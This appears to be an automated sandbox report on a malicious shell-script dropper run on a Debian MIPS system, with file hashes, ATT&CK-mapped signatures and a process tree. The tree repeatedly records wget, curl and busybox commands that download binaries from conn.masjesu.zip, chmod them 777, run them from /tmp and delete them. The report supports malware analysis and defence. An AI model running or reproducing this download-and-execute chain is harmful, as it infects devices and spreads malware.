Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21/10/2024, 01:39

General

  • Target

    4ba9bb8fa9e0dc7ead37eb8c8edd6adc0a93dd875e03e031cb1a1f34879a50dd.sh

  • Size

    10KB

  • MD5

    95182cb1a6c811823bdbe664fb8ebdf7

  • SHA1

    05149e5200d9a87556f3bd0c65e34323d70432a5

  • SHA256

    4ba9bb8fa9e0dc7ead37eb8c8edd6adc0a93dd875e03e031cb1a1f34879a50dd

  • SHA512

    e4352c11296cd61aa621b235b5b606bd514e11d8ea7f1f0c995d44bffac31476e83638aa6c8f5515f7392ae680fc1be7ad4e62ea026ffe5cb2f063950e6ffa7e

  • SSDEEP

    192:sFi6S/T/e2aFgAuWzGciFi6S/TG2aFgAoG:sFi6S/T/NWzhiFi6S/TM

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Reads runtime system information 11 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 32 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/4ba9bb8fa9e0dc7ead37eb8c8edd6adc0a93dd875e03e031cb1a1f34879a50dd.sh
    /tmp/4ba9bb8fa9e0dc7ead37eb8c8edd6adc0a93dd875e03e031cb1a1f34879a50dd.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:700
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/xnPfgtRvwJANl1ahPWsPBKLcUgiz4GrxCl
          2⤵
          • System Network Configuration Discovery
          PID:705
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/xnPfgtRvwJANl1ahPWsPBKLcUgiz4GrxCl
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:759
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/xnPfgtRvwJANl1ahPWsPBKLcUgiz4GrxCl
          2⤵
          • System Network Configuration Discovery
          PID:773
        • /bin/chmod
          chmod 777 xnPfgtRvwJANl1ahPWsPBKLcUgiz4GrxCl
          2⤵
          • File and Directory Permissions Modification
          PID:777
        • /tmp/xnPfgtRvwJANl1ahPWsPBKLcUgiz4GrxCl
          ./xnPfgtRvwJANl1ahPWsPBKLcUgiz4GrxCl
          2⤵
          • Executes dropped EXE
          PID:778
        • /bin/rm
          rm xnPfgtRvwJANl1ahPWsPBKLcUgiz4GrxCl
          2⤵
            PID:779
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/CcEcBu9Qbw4JnIxC9S8bJ0Kg9QIWEpryPb
            2⤵
            • System Network Configuration Discovery
            PID:780
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/CcEcBu9Qbw4JnIxC9S8bJ0Kg9QIWEpryPb
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:804
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/CcEcBu9Qbw4JnIxC9S8bJ0Kg9QIWEpryPb
            2⤵
            • System Network Configuration Discovery
            PID:813
          • /bin/chmod
            chmod 777 CcEcBu9Qbw4JnIxC9S8bJ0Kg9QIWEpryPb
            2⤵
            • File and Directory Permissions Modification
            PID:814
          • /tmp/CcEcBu9Qbw4JnIxC9S8bJ0Kg9QIWEpryPb
            ./CcEcBu9Qbw4JnIxC9S8bJ0Kg9QIWEpryPb
            2⤵
            • Executes dropped EXE
            PID:815
          • /bin/rm
            rm CcEcBu9Qbw4JnIxC9S8bJ0Kg9QIWEpryPb
            2⤵
              PID:816
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/M2XBMJEtQwQbSyOCmtH3OL2KVd9uelsYpH
              2⤵
              • System Network Configuration Discovery
              PID:817
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/M2XBMJEtQwQbSyOCmtH3OL2KVd9uelsYpH
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:818
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/M2XBMJEtQwQbSyOCmtH3OL2KVd9uelsYpH
              2⤵
              • System Network Configuration Discovery
              PID:820
            • /bin/chmod
              chmod 777 M2XBMJEtQwQbSyOCmtH3OL2KVd9uelsYpH
              2⤵
              • File and Directory Permissions Modification
              PID:821
            • /tmp/M2XBMJEtQwQbSyOCmtH3OL2KVd9uelsYpH
              ./M2XBMJEtQwQbSyOCmtH3OL2KVd9uelsYpH
              2⤵
              • Executes dropped EXE
              PID:822
            • /bin/rm
              rm M2XBMJEtQwQbSyOCmtH3OL2KVd9uelsYpH
              2⤵
                PID:823
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/JTHeDVs0b3PLuigGe5MAIY00ByWiLBEHEI
                2⤵
                • System Network Configuration Discovery
                PID:824
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/JTHeDVs0b3PLuigGe5MAIY00ByWiLBEHEI
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:825
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/JTHeDVs0b3PLuigGe5MAIY00ByWiLBEHEI
                2⤵
                • System Network Configuration Discovery
                PID:827
              • /bin/chmod
                chmod 777 JTHeDVs0b3PLuigGe5MAIY00ByWiLBEHEI
                2⤵
                • File and Directory Permissions Modification
                PID:828
              • /tmp/JTHeDVs0b3PLuigGe5MAIY00ByWiLBEHEI
                ./JTHeDVs0b3PLuigGe5MAIY00ByWiLBEHEI
                2⤵
                • Executes dropped EXE
                PID:829
              • /bin/rm
                rm JTHeDVs0b3PLuigGe5MAIY00ByWiLBEHEI
                2⤵
                  PID:830
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/c1ju00Mjtb5goTVYQmVvT0aIZUL1JGhN7q
                  2⤵
                  • System Network Configuration Discovery
                  PID:831
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/c1ju00Mjtb5goTVYQmVvT0aIZUL1JGhN7q
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:832
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/c1ju00Mjtb5goTVYQmVvT0aIZUL1JGhN7q
                  2⤵
                  • System Network Configuration Discovery
                  PID:834
                • /bin/chmod
                  chmod 777 c1ju00Mjtb5goTVYQmVvT0aIZUL1JGhN7q
                  2⤵
                  • File and Directory Permissions Modification
                  PID:835
                • /tmp/c1ju00Mjtb5goTVYQmVvT0aIZUL1JGhN7q
                  ./c1ju00Mjtb5goTVYQmVvT0aIZUL1JGhN7q
                  2⤵
                  • Executes dropped EXE
                  PID:836
                • /bin/rm
                  rm c1ju00Mjtb5goTVYQmVvT0aIZUL1JGhN7q
                  2⤵
                    PID:837
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/bjROIZphgE1u8yIeWs9ROb0pBi6R0D4cKv
                    2⤵
                    • System Network Configuration Discovery
                    PID:838
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/bjROIZphgE1u8yIeWs9ROb0pBi6R0D4cKv
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:839
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/bjROIZphgE1u8yIeWs9ROb0pBi6R0D4cKv
                    2⤵
                    • System Network Configuration Discovery
                    PID:841
                  • /bin/chmod
                    chmod 777 bjROIZphgE1u8yIeWs9ROb0pBi6R0D4cKv
                    2⤵
                    • File and Directory Permissions Modification
                    PID:842
                  • /tmp/bjROIZphgE1u8yIeWs9ROb0pBi6R0D4cKv
                    ./bjROIZphgE1u8yIeWs9ROb0pBi6R0D4cKv
                    2⤵
                    • Executes dropped EXE
                    PID:843
                  • /bin/rm
                    rm bjROIZphgE1u8yIeWs9ROb0pBi6R0D4cKv
                    2⤵
                      PID:844
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/eHbAkKQLfU9Asy8fTjlonFqPRtq0YKAk4K
                      2⤵
                      • System Network Configuration Discovery
                      PID:845
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/eHbAkKQLfU9Asy8fTjlonFqPRtq0YKAk4K
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:846
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/eHbAkKQLfU9Asy8fTjlonFqPRtq0YKAk4K
                      2⤵
                      • System Network Configuration Discovery
                      PID:848
                    • /bin/chmod
                      chmod 777 eHbAkKQLfU9Asy8fTjlonFqPRtq0YKAk4K
                      2⤵
                      • File and Directory Permissions Modification
                      PID:849
                    • /tmp/eHbAkKQLfU9Asy8fTjlonFqPRtq0YKAk4K
                      ./eHbAkKQLfU9Asy8fTjlonFqPRtq0YKAk4K
                      2⤵
                      • Executes dropped EXE
                      PID:850
                    • /bin/rm
                      rm eHbAkKQLfU9Asy8fTjlonFqPRtq0YKAk4K
                      2⤵
                        PID:851
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/VaCZcok9OX9dBbtqHUqqOoZtraa2rGel7B
                        2⤵
                        • System Network Configuration Discovery
                        PID:852
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/VaCZcok9OX9dBbtqHUqqOoZtraa2rGel7B
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:853
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/VaCZcok9OX9dBbtqHUqqOoZtraa2rGel7B
                        2⤵
                        • System Network Configuration Discovery
                        PID:855
                      • /bin/chmod
                        chmod 777 VaCZcok9OX9dBbtqHUqqOoZtraa2rGel7B
                        2⤵
                        • File and Directory Permissions Modification
                        PID:856
                      • /tmp/VaCZcok9OX9dBbtqHUqqOoZtraa2rGel7B
                        ./VaCZcok9OX9dBbtqHUqqOoZtraa2rGel7B
                        2⤵
                        • Executes dropped EXE
                        PID:857
                      • /bin/rm
                        rm VaCZcok9OX9dBbtqHUqqOoZtraa2rGel7B
                        2⤵
                          PID:858
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/J7zCzTJ6PbYMlC8936g2B88g3fhupVq3Gg
                          2⤵
                          • System Network Configuration Discovery
                          PID:859
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/J7zCzTJ6PbYMlC8936g2B88g3fhupVq3Gg
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:860
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/J7zCzTJ6PbYMlC8936g2B88g3fhupVq3Gg
                          2⤵
                          • System Network Configuration Discovery
                          PID:862
                        • /bin/chmod
                          chmod 777 J7zCzTJ6PbYMlC8936g2B88g3fhupVq3Gg
                          2⤵
                          • File and Directory Permissions Modification
                          PID:863
                        • /tmp/J7zCzTJ6PbYMlC8936g2B88g3fhupVq3Gg
                          ./J7zCzTJ6PbYMlC8936g2B88g3fhupVq3Gg
                          2⤵
                          • Executes dropped EXE
                          PID:864
                        • /bin/rm
                          rm J7zCzTJ6PbYMlC8936g2B88g3fhupVq3Gg
                          2⤵
                            PID:865
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/8BJzxjioHzKwwvQrYWuHxhdfw96e89DD83
                            2⤵
                            • System Network Configuration Discovery
                            PID:866
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/8BJzxjioHzKwwvQrYWuHxhdfw96e89DD83
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:867
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/8BJzxjioHzKwwvQrYWuHxhdfw96e89DD83
                            2⤵
                            • System Network Configuration Discovery
                            PID:869
                          • /bin/chmod
                            chmod 777 8BJzxjioHzKwwvQrYWuHxhdfw96e89DD83
                            2⤵
                            • File and Directory Permissions Modification
                            PID:870
                          • /tmp/8BJzxjioHzKwwvQrYWuHxhdfw96e89DD83
                            ./8BJzxjioHzKwwvQrYWuHxhdfw96e89DD83
                            2⤵
                            • Executes dropped EXE
                            PID:871
                          • /bin/rm
                            rm 8BJzxjioHzKwwvQrYWuHxhdfw96e89DD83
                            2⤵
                              PID:872
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/uuZcLlnc1ROy2ODi0QucGQpoInA5ZHKBCn
                              2⤵
                              • System Network Configuration Discovery
                              PID:873
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/uuZcLlnc1ROy2ODi0QucGQpoInA5ZHKBCn
                              2⤵
                              • Reads runtime system information
                              • System Network Configuration Discovery
                              PID:874

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/xnPfgtRvwJANl1ahPWsPBKLcUgiz4GrxCl

                                  Filesize

                                  153B

                                  MD5

                                  998368d7c95ea4293237f2320546e440

                                  SHA1

                                  30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                  SHA256

                                  533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                  SHA512

                                  648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97